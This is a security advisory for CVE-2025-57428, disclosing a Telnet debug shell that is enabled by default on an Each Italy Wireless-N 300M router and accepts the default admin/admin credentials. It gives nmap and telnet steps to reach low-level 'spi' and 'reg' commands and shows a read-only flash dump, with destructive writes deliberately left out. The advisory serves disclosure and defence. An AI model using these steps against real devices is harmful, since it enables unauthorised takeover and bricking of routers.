CVE-2025-57428# CVE-2025-57428 - Telnet debug interface enabled by default allows low-level flash/register access
## Affected Product
- Vendor/Brand: Each Italy
- Device: Wireless Mini Router WIRELESS-N 300M
- Firmware: v28K.MiniRouter.20190211
## Summary
<img src="https://i.imgur.com/XRMCmo6.jpeg" height="180" width="160" align="right"/>
This device exposes a Telnet debug interface (enabled by default on port 23) and accepts admin credentials (`admin`/`admin` by default). After authentication the shell provides direct access to low-level commands (notably `spi` and `reg`), which may lead to arbitrary firmware corruption, device bricking and loss of functionality or security configuration.
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## Proof of Concept
> **Note:** I intentionally omit commands that perform destructive writes. The PoC below confirms existence and accessibility of the interface without providing a ready weaponized exploit.
1. Scan the device on the LAN:
```bash
nmap -p 23 <device-ip>
```
Result: port 23 (telnet) shows `open`.
2. Connect via Telnet and authenticate (default credentials):
```bash
telnet <device-ip>
# Login as: admin
# Password: admin
```
After login, a debug prompt is presented `CMD>`.
3. List available commands:
```bash
CMD>help
```
The help output shows the following menus:
```bash
cfg net os
```
Enter in the `os` menu:
```bash
CMD>os
```
List available commands again:
```bash
OS>help
```
This time the help output shows the following commands:
```bash
thread mem spi reg cpuload cpubusy event
```
Using `spi` shows `spi <rd/wr/er> <addr> [len]`.
4. Read flash memory:
```bash
OS>spi rd 0x000fd0f0 16
```
This returns a hex dump of the flash region:
```bash
4f30650a 938f56fa 1b663a19 e316d824
```
This confirms that the command works and the shell has low-level access.
The write command (`spi wr`) and the erase command (`spi er`), as well as the `reg` commands, are also executable.
<img src="images/PoC.png"/>
Observations:
- Changing the admin password via the web interface also changes Telnet credentials, indicating shared credentials.
- Telnet remains enabled by default after initial setup.
## Vendor Communication
Attempts to find any security contact or support channel of the original vendor were unsuccessful. The product appears to be a rebranded device of unknown origin.
## Disclaimer
This information is provided for educational and defensive purposes only. The author takes no responsibility for any misuse of this information.Log in to view the POC file snapshot cached by Shenlong Bot
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